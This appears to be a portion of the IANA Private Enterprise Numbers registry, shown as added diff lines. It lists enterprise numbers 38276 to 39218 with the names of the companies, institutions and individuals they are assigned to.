+38276 CipSoft GmbH
+38277 r-tec IT Systeme GmbH
+38278 Memorial Hospital of South Bend
+38279 Pilot Corporation of America
+38280 Millennium Information Technologies (Private) Limited
+38281 1st Setup
+38282 Italtelec S.p.A.
+38283 MobiWork LLC
+38284 PacketAccess
+38285 Live-PA Ltd
+38286 pki24.com
+38287 D-TACQ Solutions Ltd
+38288 Swiss public broadcasting organisation (SRG SSR)
+38289 LeetGeek Pty Ltd
+38290 IntelliVoice Co,Ltd.
+38291 G Data Software AG
+38292 Damall Technologies Sas
+38293 Dynamic Technical Solutions Inc.
+38294 IOMachine LLC
+38295 Pro Broadband Inc.
+38296 Multi Sinergi Infrastruktur, PT
+38297 ComMedia, Lda
+38298 DaGo Solutions
+38299 Dillard's Inc
+38300 GrubHub
+38301 hosthis.org
+38302 ITSUMO s.c.
+38303 Pask
+38304 CrossImaging Inc.
+38305 LybreDyne Technologies
+38306 MASIBUS AUTOMATION AND INSTRUMENTATION PVT LTD
+38307 OIS-Net
+38308 Joint Stock Company «Banking & Financial Network»
+38309 Cirquent GmbH
+38310 PREMIER Bankcard, LLC
+38311 OPTIM'HEXA
+38312 CareView Communications
+38313 STG (Stargazer)
+38314 adjectivism.org
+38315 National Land Survey of Iceland
+38316 SEKONIC CORPORATION
+38317 JR East Mechatronics Co.Ltd.
+38318 Ing. Buero Fischer GmbH
+38319 Lantiq Deutschland GmbH
+38320 Bubblephone Ltd
+38321 Greatnet.de OHG
+38322 Strangeloop Networks
+38323 Stuart McGraw
+38324 emagsoftware
+38325 Precogen, LLC
+38326 nepda
+38327 Vokzal-infokom
+38328 LvlUp e.V.
+38329 Three Laws of Mobility
+38330 Datametrix AS
+38331 Skeed Co., Ltd.
+38332 LeonIT GbR
+38333 Network Solution Technologies Co., Ltd.
+38334 ArchOne
+38335 AVIN Networks Private Limited
+38336 Platte Valley Medical Center
+38337 Power Instruments Pte Ltd.
+38338 Suntel Ltd
+38339 Centrum Informatyki Statystycznej
+38340 Broadcast Partners
+38341 AGETO Innovation GmbH
+38342 City of Hope
+38343 Wilcom Technologies
+38344 Maxwell Worthington
+38345 S&T Ukraine
+38346 Pallas GmbH
+38347 Ing. Günther Vlaschits
+38348 ISDEFE Ingenieria de Sistemas para la Defensa de España S.A.
+38349 Firstcom A/S
+38350 XtreemFS project
+38351 net-lab GmbH
+38352 National Information Technology Center
+38353 Weebly, Inc.
+38354 Princeton Consultants
+38355 TTTech Computertechnik AG
+38356 Mike Becker
+38357 ActualMed
+38358 Peak Reliability (formerly 'Western Electricity Coordinating Council')
+38359 Meissner
+38360 Delled Company Ltd
+38361 Exabre Ltd
+38362 alpha dot net Australia
+38363 PT Primatama Sentra Solusi
+38364 Netsis Technology
+38365 BKW Management AG
+38366 Joint-Stock Bank "Master-Bank"
+38367 KIS Information Services GmbH
+38368 Radimetrics Inc.
+38369 ZiXi, LLC
+38370 jetNEXUS Limited
+38371 PT. Cahaya Barumas Sejahtera
+38372 PT INPAR SAKA
+38373 Greenville Hospital System University Medical Center
+38374 Cloudera
+38375 Linus van Geuns
+38376 The Chester County Hospital
+38377 Tohojo ApS
+38378 FeedHenry Ltd.
+38379 Inter Media Group
+38380 AMG.net S.A.
+38381 Unetvale Servicos e Equipamentos Ltda. EPP
+38382 znt Zentren für Neue Technologien GmbH
+38383 WorldCare Clinical LLC
+38384 DBAPP Security
+38385 Svyazcom Ltd.
+38386 Coop Denmark A/S
+38387 Smart Design sprl
+38388 HANGZHOU LAYBEL ELECTRONIC TECHNOLOGY CO,. LTD
+38389 Verisec AB
+38390 Railinc Corporation
+38391 iroïd
+38392 University of Dayton
+38393 SJX Soft
+38394 Interfibra Telecomunicaciones, S.L. (formerly 'Teleyecla, S.L.')
+38395 Phillips Foods, Inc.
+38396 Flinders Christian Community College Inc
+38397 TSB - Tiefdruck Schwann-Bagel GmbH & Co.KG
+38398 AO TD BOVID
+38399 Kloeckner & Co SE
+38400 nfon AG
+38401 Veridian Solutions Pty. Ltd
+38402 C.I. Centro de Informacoes
+38403 vacc.ch
+38404 Maintainet AG
+38405 Autotalks
+38406 Roscom Ltd
+38407 Chesapeake Ltd
+38408 OKIT GmbH
+38409 CargoSoft LLC
+38410 Raikosoft GmbH
+38411 Knology
+38412 Fun & RelaX GmbH
+38413 Lodgeistics Inc.
+38414 FusionDirectory
+38415 Clavius-Gymnasium Bamberg
+38416 Nordic ID Oy
+38417 Kybeire Ltd
+38418 UFMA - Universidade Federal do Maranhão
+38419 Rauland Australia Pty Ltd
+38420 Yottaa Inc
+38421 ALL-RTP
+38422 Tesync Technology Limited
+38423 PBeaKK
+38424 BalTstamp
+38425 Private University College of Education of the Diocese of Linz
+38426 State company "Russian highways"
+38427 Genève Aéroport
+38428 SlimPay
+38429 Dryden Municipal Telephone System
+38430 Irell & Manella LLP
+38431 Communications & Power Industries, Satcom Division
+38432 Oberon, Inc.
+38433 NetAxis Solutions
+38434 OpenCSI
+38435 IQantum GmbH
+38436 ReiniNET
+38437 Vlastimil Kupsky
+38438 GTwins
+38439 Aurenz GmbH
+38440 HEROLD Business Data GmbH
+38441 Blue-Sphere
+38442 INRADIOS GmbH
+38443 OrbiConnect GmbH & Co. KG
+38444 Holiday Extras Limited
+38445 VMC
+38446 Enlogic Systems, LLC
+38447 Ing. Viliam Oršula - iElectro
+38448 NOLOGIN CONSULTING SL
+38449 Nationwide Building Society
+38450 DediPower Managed Hosting Ltd.
+38451 LanderNet Inc.
+38452 QQ2
+38453 Indigo Dynamic Networks, LLC
+38454 Adpuntum GmbH
+38455 Cyberware Inc.
+38456 IC "ISKRA" Ltd.
+38457 ecvision
+38458 Nachtwacht
+38459 SBIT GmbH
+38460 Gemtek Technology Co., Ltd.
+38461 ragenet llc
+38462 Pt Magnar Nugraha
+38463 Data Service Integration
+38464 Snoerf.org
+38465 Avalcom Sp. z o.o.
+38466 Max-Planck-Institut für Molekulare Genetik
+38467 Carl Edelmann GmbH
+38468 Garage Center for Contemporary Culture
+38469 Axtion Sdn Bhd
+38470 Bison Schweiz AG
+38471 Multimediakontor Hamburg GmbH
+38472 Kevin Mullet
+38473 Ellis Hospital
+38474 Blackridge Technology
+38475 Global SATCOM Technology, Inc.
+38476 prosozial GmbH
+38477 Antaira Technologies, LLC. (formerly 'Aaxeon Technologies, LLC.')
+38478 VerticalCue Design LLC
+38479 Seluxit
+38480 ABPM
+38481 M Financial Group
+38482 MetaStack Solutions Ltd.
+38483 netmonitor
+38484 Innerdive Solutions, LLC.
+38485 Westchester Digestive Disease Group LLP
+38486 Eurotec Information Systems K.K.
+38487 Quadro Systems
+38488 Exceptional Innovation, LLC.
+38489 WD-40 Company
+38490 Nebula, Inc.
+38491 Clean Communications Ltd
+38492 WorldmingoSolutions
+38493 VPT
+38494 CLINTWORLD GmbH
+38495 PERTIMM
+38496 Digg, Inc.
+38497 Collins Systems
+38498 Georgia-Cumberland Conference
+38499 Versadial Solutions
+38500 CareTech AB
+38501 Fundação Parque Tecnológico Itaipu
+38502 BizNet Corporación Costa Rica
+38503 Advtal52
+38504 Skyworth
+38505 OJSC OC ROSNEFT
+38506 Plus Pack A/S
+38507 Depalol Gestió i Multimèdia
+38508 BW Broadcast Ltd
+38509 DNS:NET Internet Service GmbH
+38510 Colorcon, Inc.
+38511 Toyota Motor Corporation Australia
+38512 St Mary's College
+38513 PJSC Myronivsky Hliboproduct
+38514 Fr. Sauter AG
+38515 IXC
+38516 Allworx
+38517 St Joseph Healthcare
+38518 ATMA Tecnologia Ltda.
+38519 DeltaVision Sp. Z o.o.
+38520 Semmle Ltd.
+38521 ObÄanské sdružení Ubuntu pro ÄŒeskou republiku
+38522 Zhejiang Post
+38523 Samimrayaneh
+38524 StorageCraft Technology Corporation
+38525 City of Windhoek
+38526 Paul Davison (consulting)
+38527 GeekSoc
+38528 PIKA Technologies
+38529 AKA Computer Solution Inc.
+38530 Informationsdesign AG
+38531 ICF International
+38532 GroupScape.com
+38533 ElphoTech
+38534 L-ACOUSTICS
+38535 Sierra Photonics Inc.
+38536 10ZiG Technology
+38537 Texas Municipal League Intergovernmental Risk Pool
+38538 Sify Technologies Ltd
+38539 ANKABUT (UAE Advanced Network for Research and Education)
+38540 Phoebus Vision
+38541 Concentric Cloud Solutions, LLC (formerly 'XO Interactive, LLC')
+38542 OpenIP
+38543 Continental Lensa Ltd.
+38544 Asset Control International BV
+38545 Advanced Medical X-Ray
+38546 ORPHEUS
+38547 Dignitas Technologies
+38548 SHENZHEN UNIVERSAL INTELLISYS PTE LTD
+38549 Netstor Technology Co., Ltd.
+38550 Security Pillar Ltd
+38551 Pansardata AB
+38552 Manfred Nagl - naglit.at
+38553 Bureau of industrial automation LLC
+38554 Mark & Space Telesystems (P) LTD.
+38555 Jeppesen
+38556 Tradesignal GmbH
+38557 Artvin Coruh University
+38558 Innes Corporation Pty Ltd
+38559 ITAC, IT APPLICATIONS CONSULTING S.A.
+38560 Denver International Airport (City and County of Denver)
+38561 Appleton Coated llc
+38562 KokelNET
+38563 Ryan Systems, Inc.
+38564 Mark IV Indonesia
+38565 Instrumentation Technologies d.d.
+38566 FirstPower a.s.
+38567 Hit the Sticks, LLC
+38568 Syvea Technologies
+38569 Uziek Pte. Ltd.
+38570 axn software UG (haftungsbeschränkt)
+38571 Health Information Technology Exchange of Connecticut
+38572 TroSoft AB
+38573 Zucchetti Axess SpA
+38574 Facultad Regional Santa Fe, Universidad Tecnológica Nacional.
+38575 TeraTron GmbH
+38576 Lomond Paper Ltd
+38577 Perfecta Aviation
+38578 New York City Transit Authority
+38579 Pike Aerospace Research Corporation
+38580 i3 International inc.
+38581 Crouse Hospital
+38582 Fryman and Associates, Inc
+38583 MetroPCS Wireless, Inc.
+38584 Superior Communication Solutions Inc.
+38585 VEG Networks
+38586 DoZeener Controls
+38587 SmartKomm GmbH
+38588 Tanuki Software, Ltd.
+38589 Egyptian Universities Network, EUN
+38590 Islamic Republic Broadcasting of Iran
+38591 Indusface Telecom Private Limited
+38592 Cyan Technology
+38593 Cloud 9 Business Analytics Limited
+38594 Enel PS d.o.o.
+38595 Shanghai Zhongmi Communication Technology CO.,LTD.
+38596 University of Saint Joseph
+38597 Sunfest
+38598 Sunfest
+38599 LTU Technologies
+38600 kleinhans it-solutions und services
+38601 ELIUM GmbH
+38602 S&C Electric Company
+38603 Applied Systems Engineering, Inc.
+38604 In And Out Cologne
+38605 Calxeda, Inc.
+38606 Gusbeckers Development
+38607 WITTENSTEIN AG
+38608 Gymnázium, Plzeň
+38609 lipple.jp
+38610 PT Respati Solusi Rekatama
+38611 Alan Baugher
+38612 Itrix Incorporation
+38613 Computer Technologes and Systems Ltd.
+38614 Nextest Systems
+38615 Mettle Networks, Inc
+38616 METEL s.r.o.
+38617 Callplus Services Limited
+38618 Critical Software Ltd
+38619 think digital GmbH
+38620 Gamma 2000 Pte Ltd
+38621 Merruk Technology, SARL.
+38622 Master Power Technologies
+38623 bolay.co
+38624 NETGRAPPLER Corporation
+38625 SILOCOM Internacional Corp.
+38626 Bureau 14 SARL
+38627 DLC Systems, Inc.
+38628 LivingSocial
+38629 Connamara Systems, llc
+38630 OneHealthPort
+38631 Morgajel.com
+38632 Mariana Consulting, LLC
+38633 VOXLIBERTUM AG
+38634 Hendrikx ITC B.V.
+38635 Falcon Steel Co.
+38636 Starfish Technologies Limited
+38637 U2 Systems
+38638 ista International GmbH
+38639 bpost
+38640 Novus Partners, Inc.
+38641 yate
+38642 Net Trans Services AS
+38643 SQISOFT Inc.
+38644 Armadino
+38645 OCV CJSC
+38646 StoniesHome
+38647 KV-Telematik ARGE
+38648 DOMENY.PL Ltd
+38649 Mr Panquecito
+38650 Western Australian Network Gaming Inc.
+38651 Observatório Nacional
+38652 Instituto Federal Catarinense Campus Videira
+38653 Verlagsgruppe NEWS Ges.m.b.H
+38654 BoostAeroSpace SAS
+38655 NBU SK (NATIONAL SECURITY AUTHORITY)
+38656 Energinet.dk
+38657 Ministerio de Justicia y Paz
+38658 Music for Humans
+38659 The Criminal Defense Group
+38660 Certipost n.v./s.a.
+38661 Wuxi Thinkyare Electronic Technology Co., Ltd.
+38662 Drachenfels Ltd
+38663 ahd GmbH & Co. KG
+38664 Sky Area
+38665 PUUR it (www.puur-it.nl)
+38666 Silversands Limited
+38667 Mindbean
+38668 RahuNAS
+38669 NIKKEY CO.,LTD.
+38670 BICS - Belgacom International Carrier Services
+38671 Cellbusters LLC
+38672 Zaeim Electronic Industries
+38673 E-merchant
+38674 West Virginia Health Information Network (WVHIN)
+38675 NorCell Inc.
+38676 PDU EXPERT UK LTD
+38677 ECOSIX
+38678 Joyent, Inc.
+38679 idcell.co.ltd
+38680 Nimbula, Inc
+38681 HJBaier
+38682 Mindlinx Technology Solutions
+38683 Klinikum Ansbach
+38684 LOGEMED
+38685 Semptian Technologies Ltd.
+38686 CLS Argos
+38687 The Online Backup Company Norway AS
+38688 Educa.ch - Schweizer Medieninstitut für Bildung und Kultur Genossenschaft
+38689 Old Mutual
+38690 Corepoint Health
+38691 Quanti s.r.o.
+38692 ONPATH Technologies Inc
+38693 matthewv.com
+38694 Alabama One Health Record (ALOHR)
+38695 Joehl + Koeferli AG
+38696 Hacking Networked Solutions Ltd.
+38697 DSM Inc
+38698 Onebox Ticket Management
+38699 Pulsar Consulting sa
+38700 Sergey Kozlov
+38701 ECBIZNET, INC.
+38702 Talisman Energy Inc
+38703 Advancia Corporation
+38704 Nvest., Inc
+38705 Amplidata
+38706 maceghost
+38707 Zodiac Data Systems
+38708 Shenzhen CTI Technology Co., Ltd.
+38709 Edison Global Circuits, LLC
+38710 Ian Kristin
+38711 Dolby Medical Home Respiratory Care Ltd
+38712 St. Joseph's Healthcare System INC
+38713 National Association of REALTORS®
+38714 RLH INDUSTRIES,INC.
+38715 jllin agricultural university
+38716 Orbotech
+38717 INSIEL – Informatica per il Sistema degli Enti Locali S.p.A
+38718 Zobele Instrument (Shenzhen) Co., Ltd.
+38719 Nextgen Innovation Labs LLC
+38720 ENTLibre
+38721 Hexaglobe
+38722 Conseil Général du Calvados
+38723 jusme.com
+38724 3iSYS
+38725 Florian Wagner
+38726 bjoernskou
+38727 banan s.r.o.
+38728 Kiez.Net
+38729 GCCA Inc.
+38730 RadioAccess
+38731 Wiscada s.r.l
+38732 Sachsen DV GmbH
+38733 VoiceRite, Inc.
+38734 Padilha com
+38735 Stephen Timothy Perryman
+38736 Hutchinson Regional Medical Center (formerly 'Promise Regional Medical Center - Hutchinson')
+38737 MyOwnFile BV
+38738 NL Technologies
+38739 Nebras Technology
+38740 Attentec AB
+38741 Mobile Frosting
+38742 Les créations Snowflakes
+38743 Gruden
+38744 twootton
+38745 UNO System
+38746 incelis
+38747 SHENZHEN SUPLET CO., LTD.
+38748 2H ENERGY
+38749 GNU Generation
+38750 Neologic Sp. z o.o.
+38751 Marketwire
+38752 New Jersey Manufacturers Insurance Company
+38753 TECNOMEDSA
+38754 Jinon Corporation
+38755 ÄŒeskomoravské informaÄní systémy s.r.o.
+38756 TNG Technology Consulting
+38757 Trapeze Group Asia Pacific Pty Ltd (formerly 'Sigtec Pty Ltd')
+38758 GrandCapital Ltd.
+38759 Katholieke Hogeschool Limburg
+38760 Veselības ekonomikas centrs (formerly 'ABC Software, Ltd')
+38761 OSnode
+38762 Deutsche Rentenversicherung Bund
+38763 cenhare AG
+38764 Boscad
+38765 imirhil.fr
+38766 Gosloto Ltd.
+38767 Martin Diener
+38768 StreamBase Systems, Inc.
+38769 Holy Redeemer Hospital and Medical Center
+38770 AGGREGATUM
+38771 Internet Integration, Inc.
+38772 Mageia.Org
+38773 Visionutveckling AB
+38774 CONET Solutions GmbH
+38775 Stream Labs
+38776 Telarix
+38777 NOU DPO UMC YARB
+38778 Jeda Networks
+38779 Noggin IT
+38780 Gaertner
+38781 trainline
+38782 TAGHOS Tecnologia
+38783 Teracom Ltd.
+38784 Systems Integration Specialists Company, Inc.
+38785 Dirdal-it
+38786 Emirates Integrated Telecommunications Company, PJSC
+38787 Nanjing Tunec Science & Technology Co., Ltd.
+38788 Oasis Telecommunication Technologies
+38789 National TeleConsultants LLC
+38790 EUROBANK EFG BULGARIA AD
+38791 Atos IT Solutions and Services AG
+38792 Operator Logistyczny Paliw PÅ‚ynnych Sp. z o.o.
+38793 Universidade Federal Rural do Rio de Janeiro
+38794 UQODE
+38795 ASSOCIATION MENSA FRANCE
+38796 Takashi Komatsubara
+38797 Atlantis Computing Inc.
+38798 Compulink
+38799 Dream Property GmbH
+38800 Ecker & Partner
+38801 Pythia Technologies
+38802 CloudWare Co
+38803 Woori-Net Inc.
+38804 SEVEN PRINCIPLES AG
+38805 Envers AG
+38806 Victor Technologies
+38807 Lanka Education and Research Network
+38808 University of Miyazaki
+38809 4finance
+38810 Anhui Asky Quantum Technology Co.,Ltd
+38811 Ministry of Information
+38812 Centerm Information Company
+38813 Computer Systems Consulting s.r.o.
+38814 IFMOD GmbH & Co. KG
+38815 ETHERPOWER S.R.L.
+38816 Partnerpedia Solutions, Inc.
+38817 University of Western Greece
+38818 American National Insurance
+38819 VCE Company, LLC
+38820 Inside Lacrosse
+38821 ThirdWave B.V.
+38822 Sport Voswinkel GmbH & Co. KG
+38823 Grandvision
+38824 LYNX spol. s r.o.
+38825 Huntsman International LLC
+38826 Liberty Life
+38827 orientscience
+38828 AllDigital, Inc.
+38829 Sjöfartsverket
+38830 Sepialine Inc.
+38831 Fédération Nationale des Tiers de Confiance
+38832 Clearfield Hospital
+38833 TRANSPOREON GmbH
+38834 Orad Hi Tec Systems Ltd.
+38835 Yota
+38836 Western Oregon University
+38837 First Interstate Bank
+38838 Angstrem-Telecom JSC
+38839 nPhase LLC.
+38840 Visual Click Software, Inc.
+38841 XCEL SOLUTIONS CORP
+38842 ECM Inc
+38843 Kinoton Digital Solutions GmbH
+38844 Astec IT Solutions Ltd.
+38845 DZ BANK AG
+38846 Bong U.K. Ltd.
+38847 Prelert
+38848 Susquehanna Health
+38849 Intwine Energy
+38850 Global MunnexTech SA de CV
+38851 Izmir Institute of High Technology
+38852 XCOM AG
+38853 RIA Novosti (formerly 'Federal State Unitary Enterprise Russian Information Agency News')
+38854 Ncurity
+38855 Nagoya Institute of Technology
+38856 Login People
+38857 VASONA NETWORKS
+38858 General Micro Systems, Inc
+38859 Agile Communications, Inc.
+38860 comadot.net
+38861 Rudy Gevaert
+38862 Erstikalender.info
+38863 SiChuan Andi industry co.LTD
+38864 Virgin Holidays Ltd
+38865 Squadra Technologies
+38866 TRIMET Aluminium SE (formerly 'TRIMET ALUMINIUM AG')
+38867 mecodia GmbH
+38868 Comision Nacional de Bancos y Seguros
+38869 Alexey S Khromov
+38870 Mandiant
+38871 Vostokcement Ltd.
+38872 JSC "Prompribor"
+38873 Alex Bolgov
+38874 ENABIL Solutions Ltd.
+38875 UnifiedPost S.A.
+38876 Mork
+38877 BPM Advanced Technology Company
+38878 s.d.i. s.p.a.
+38879 tradebridge Pty Ltd
+38880 MicroAutomation
+38881 Abelium d.o.o.
+38882 Barron McCann Technology
+38883 Phenomic Business Systems Ltd
+38884 Electrolux
+38885 nPulse Technologies Inc.
+38886 Societe d'exploitation de Reseaux et de Services Securises (SER2S)
+38887 VIS - Verein der Informatik Studierenden
+38888 c3pb e.V.
+38889 Okuejina
+38890 Blue Shield of California
+38891 Jimma University
+38892 Axiovista S.A.
+38893 Marc Luehr
+38894 GROB-WERKE GmbH & Co. KG
+38895 sig21 labs
+38896 Findaway World
+38897 Safegate International AB
+38898 La France du Nord au Sud
+38899 National Institute Of Weather And Atmospheric Research
+38900 Fukuoka University
+38901 Landsvirkjun
+38902 NovAtel Inc.
+38903 Malin Space Science Systems
+38904 School Specialty, Inc.
+38905 Timanetworks Inc.
+38906 Goethe-Universitaet Frankfurt am Main
+38907 Zumbox, Inc.
+38908 Aon Corporation
+38909 Linguistic Data Consortium
+38910 Xicoy Electronica S.L.
+38911 McLeod Health
+38912 psych0tik.net
+38913 QXTN Pty Ltd
+38914 JNT SOUND SYSTEM AB
+38915 avono AG
+38916 Shanghai ekingstar Digital Campus Co,.Ltd.
+38917 Guangxi Xinhai Communication Technology Co.,Ltd
+38918 DEK Technologies Pty Ltd
+38919 EPRONA, a.s.
+38920 SnapTV AS
+38921 Capetti Elettronica srl
+38922 Hypotecni banka, a.s.
+38923 iProfs
+38924 Damarel Systems International Ltd.
+38925 PROCENTEC
+38926 InnovAction srl
+38927 Versile AS
+38928 Powel Energy Management AB
+38929 Fugro Geos Ltd
+38930 @Planet Ltd
+38931 Chaz6
+38932 INSTART INC
+38933 Ubilogix International, Inc.
+38934 35x.de
+38935 MPM sas
+38936 Enrico Rivarola
+38937 ResMed SAS
+38938 ISACO GmbH
+38939 Flexera Software LLC
+38940 Thales Communications and Security
+38941 D. E. Shaw & Co, L.P.
+38942 Coca-Cola Enterprises, Inc.
+38943 Edgar Kittner GmbH & Co.KG
+38944 Kamstrup A/S
+38945 NASA Center for Climate Simulation (NCCS)
+38946 Raja Consulting Ltd
+38947 IREQ (Institut de recherche d'Hydro-Quebec)
+38948 Fortior Solutions (formerly 'SureID Inc.', formerly 'Eid Passport, Inc.')
+38949 Astronics AES
+38950 Mars Space Flight Facility
+38951 Beijing Zigvine Tech. Co. Ltd.
+38952 Ferox Communications S.L.
+38953 coveragetools
+38954 Informatio GmbH
+38955 Wire and Wireless Co., Ltd.
+38956 HOERBIGER Deutschland Holding GmbH
+38957 SWISS-ARTG
+38958 Dynamic Technologies(Asia) Ltd
+38959 K M Medicals
+38960 E-VAL Tecnologia em Informática Ltd.
+38961 A&W Networks
+38962 Oleksandr Moskalets
+38963 WoodWing Software
+38964 Coral Sea Enterprises, LLC
+38965 TelePro, Inc.
+38966 Stryker
+38967 Resal spol. s r.o.
+38968 Telino
+38969 Intellipower, Inc.
+38970 Vilpra, UAB
+38971 Guacamole Project
+38972 Coordinate-System Transport Tech. Co.,Ltd
+38973 k-blue
+38974 ENDA GmbH & Co. KG
+38975 Production Resource Group L.L.C.
+38976 Quortus Ltd
+38977 Imayhem S.L.L.
+38978 Adriatic Solutions Corp.
+38979 SII Lille
+38980 AGH University of Science and Technology
+38981 Stradus
+38982 Advanced Telecommunications Technology Research Sp. z o.o.
+38983 CompuRoot
+38984 CampusIT
+38985 ECM2
+38986 SOCAR Georgia
+38987 Nettbuss AS
+38988 Ministry of Awqaf and Islamic Affairs - Kuwait
+38989 Qtree BVBA
+38990 Nova World International, LLC dba Nova Shipping
+38991 Innoforma E-learning Technologies
+38992 SCCT, Wilhelm Wimmreuter
+38993 South Jersey Healthcare
+38994 San Juan Software
+38995 Connexon Telecom Inc.
+38996 Japan Aerospace Exploration Agency
+38997 Telnetware Co.,Ltd
+38998 i20
+38999 Higher Light Communications
+39000 LinuxMCE
+39001 NetFlow Logic
+39002 cibex gmbh
+39003 Sub10 Systems Ltd.
+39004 Diaphanoscope
+39005 Total Device
+39006 VZTech Importacao Exportacao e Desenvolvimento de Tecnologia Ltda
+39007 Armada Nacional - Uruguay
+39008 Nouvelle s.r.l.
+39009 hub telecom
+39010 GrupaA Sp. z o.o.
+39011 Fresco Logic, Inc.
+39012 INNOBAND TECHNOLOGIES, INC.
+39013 Assurity Trusted Solutions Pte Ltd
+39014 Colina Participations
+39015 MAXXING S.A.S.U.
+39016 Field Electronics Limited
+39017 Object Trading Pty Ltd
+39018 Dyna Healthcare Co., Ltd.
+39019 Techinfocom, Jsc
+39020 Net To Net Co., Ltd
+39021 pdv-systeme Sachsen GmbH
+39022 Joint Stock Company SVYAZNOY BANK
+39023 murtaza enterprizes
+39024 Bjango
+39025 Velleros, Inc.
+39026 Tritux
+39027 www.duowan.com
+39028 Enkata
+39029 Lukse
+39030 onway ag
+39031 Eastern Mennonite University
+39032 Caldwell Memorial Hospital, Inc.
+39033 Quinstar Technology, Inc.
+39034 nesfile.org
+39035 Orbital Systems, Ltd.
+39036 iMobile3, LLC
+39037 Inocybe Technologies inc.
+39038 COMPNET Ltd
+39039 Daniels Electronics, Ltd
+39040 DigitalArts Inc.
+39041 Enthina
+39042 E-ID internet strategies B.V.
+39043 EBRO ARMATUREN GMBH
+39044 idefclub.ru
+39045 Cubio Communications Oy
+39046 Jimdo GmbH
+39047 The Foundry
+39048 Sayre Memorial Hospital
+39049 Byte, SIA
+39050 Forschungsgemeinschaft elektronische Medien (FeM) e.V.
+39051 g360apps.com
+39052 Vutlan sro (formerly 'Sky Control sro')
+39053 Rail & Sea
+39054 NetUP Inc.
+39055 S2 Communications AB
+39056 Samsung Electronics America, Inc.
+39057 SCAE Co. Ltd.
+39058 CET Electronics
+39059 RTE
+39060 Suster.net
+39061 Analytica
+39062 Mark Harlos, Software Engineering Consultant
+39063 Delecon
+39064 Eseye Ltd
+39065 African Institute for Mathematical Sciences
+39066 FTS DVL SRL
+39067 Verba Technologies
+39068 hostapd/wpa_supplicant project
+39069 Japan Ballast Co.
+39070 STARK
+39071 Konkurent Ltd.
+39072 Campai Business Solutions BV
+39073 Blue Mind
+39074 makabra
+39075 HealthE Advocate LLP
+39076 Zalaszam Kft
+39077 Dorlet S.A
+39078 Vimpex GmbH
+39079 AdvaICT, a.s.
+39080 ITRS Group Limited
+39081 ASACA Corporation
+39082 PhoenixNAP
+39083 Samodzielny Publiczny Centralny Szpital Kliniczny
+39084 Texas A&M University - Kingsville
+39085 MUJIN Inc.
+39086 FriendFinder Networks, Inc.
+39087 Astra Communication Service Co., Ltd
+39088 Hochschule Deggendorf
+39089 Krones AG
+39090 subreport Verlag Schawe GmbH
+39091 Good Link
+39092 Chongqing Cable Network Co.,Ltd
+39093 Basler AG
+39094 Kambi
+39095 iFlex Ltd.
+39096 Lohika ltd.
+39097 Maxeler Technologies Ltd
+39098 Kyanmedia Limited
+39099 RSA SaaS
+39100 The Binary Workshop
+39101 Frisbie Memorial Hospital
+39102 Power Home Remodeling Group, Inc.
+39103 LS telcom AG
+39104 Universidad Central de Las Villas
+39105 Technet Systems
+39106 ExpatJob.net GROUP
+39107 ULHI - Urrutiko Lanbide Heziketa Institutua
+39108 Trusteer Ltd.
+39109 Morpho Detection, Inc.
+39110 State of Colorado Judicial Department
+39111 Eladian Partners, LLC
+39112 Netsoc DIT
+39113 IRT Technologies Inc.
+39114 Ittxa
+39115 XACK,Inc.
+39116 Folkwang Universität der Künste
+39117 noax Technologies AG
+39118 Amadeus s.a.s
+39119 dm-drogerie markt GmbH + Co. KG
+39120 itunic consulting
+39121 ElringKlinger AG
+39122 Framehawk Inc.
+39123 Two Degrees Mobile Ltd
+39124 Kaweah Delta Health Care District
+39125 Instituto Superior de Engenharia do Porto (ISEP)
+39126 DCA Inc
+39127 Mercury Insurance Group
+39128 ALLIANZ LIFE INSURANCE OF NORTH AMERICA
+39129 Reiknistofa i Vedurfraedi
+39130 Century Software (M) Sdn Bhd
+39131 Sistemas Informaticos Abiertos S.A.
+39132 Camair-Co
+39133 Kamsoft S.A.
+39134 Apex
+39135 U.S. Bancorp
+39136 Adams State University (formerly 'Adams State College')
+39137 ameria GmbH
+39138 Santa Barbara County Education Office
+39139 nPario Inc
+39140 Interra Systems, Inc.
+39141 Qice Technology Co. Ltd
+39142 Nian Electronic Company
+39143 LARS
+39144 Nextouch, Inc.
+39145 Innovative Circuit Technology Ltd.
+39146 Watchdog Software Pty Limited
+39147 intratop
+39148 Agjencia Kombetare e Shoqerise se Informacionit
+39149 broadAngle, LLC
+39150 B.O.S. Software Service und Vertrieb GmbH
+39151 Autorité des Marchés Financiers
+39152 DVT - Daten-Verarbeitung-Tirol GmbH
+39153 WAYF - Where Are You From
+39154 SwiftStack
+39155 Mango DSP, Inc.
+39156 PROSCOPE Corporation
+39157 DERMALOG IDENTIFICATION SYSTEMS GMBH
+39158 Akouto
+39159 Redpoint Software
+39160 PointRed Telecom Ltd.
+39161 Precision Infomatic
+39162 WEOLO
+39163 U-BTech Solutions
+39164 Cires21 S.L.
+39165 Hikvision Digital Technology Co., Ltd.
+39166 Stadt Moenchengladbach
+39167 kastel.net
+39168 eneatec GmbH
+39169 Softronics AG
+39170 Koario
+39171 alipay
+39172 Paytronix Systems, Inc.
+39173 Datek Wireless AS
+39174 Club Méditerrannée S.A.
+39175 GoEast GmbH
+39176 MiTek Inc.
+39177 Leuphana University of Lueneburg
+39178 The IMS Company
+39179 Accuoss
+39180 MTICUBE, LLC
+39181 International Development Council for Academic Studies (IDCAS)
+39182 OJSC "GT-TEC Energo"
+39183 Layered Logic, Inc.
+39184 xingplatform inc
+39185 System Level Solutions (India) Pvt. Ltd
+39186 Ministry of Foreign Affairs of Hungary
+39187 Marmara Univesity
+39188 Virtual Cable S.L.
+39189 King Pine
+39190 Sergey I Mihailov
+39191 Comfort Consulting
+39192 IBSmm Engineering, spol. s r.o.
+39193 Vayosoft Network Technologies Ltd.
+39194 CSSS IUGS (Centre de Sante et des Services Sociaux - Institut Universitaire de Geriatrie de Sherbrooke)
+39195 Spawngrid, Inc.
+39196 AltNet (formerly 'Oxynux')
+39197 Xitek Design Ltd
+39198 Brekeke Software, Inc.
+39199 EXPRESSTRAK - DATS
+39200 KTB COMPUTER SERVICES Co.,Ltd
+39201 Axians redtoo AG (formerly 'redtoo ag')
+39202 ASP Alerce Tecnology SL
+39203 Qualysoft Informatikai Zrt.
+39204 QuanticEvents
+39205 Broadnet Telecom Inc
+39206 EITV - Entretenimento e Interatividade para TV Digital
+39207 SparkYard, Inc.
+39208 LivingObjects
+39209 Plexus Corp.
+39210 Impulse Point LLC
+39211 Positronics Enterprise Limited
+39212 Prosyscor Ltd
+39213 Datakonsult Magnus Sandberg
+39214 MT2IT
+39215 Kernun
+39216 BroadForward B.V.
+39217 Triple T Broadband PCL
+39218 Connection Electronics Ltd.
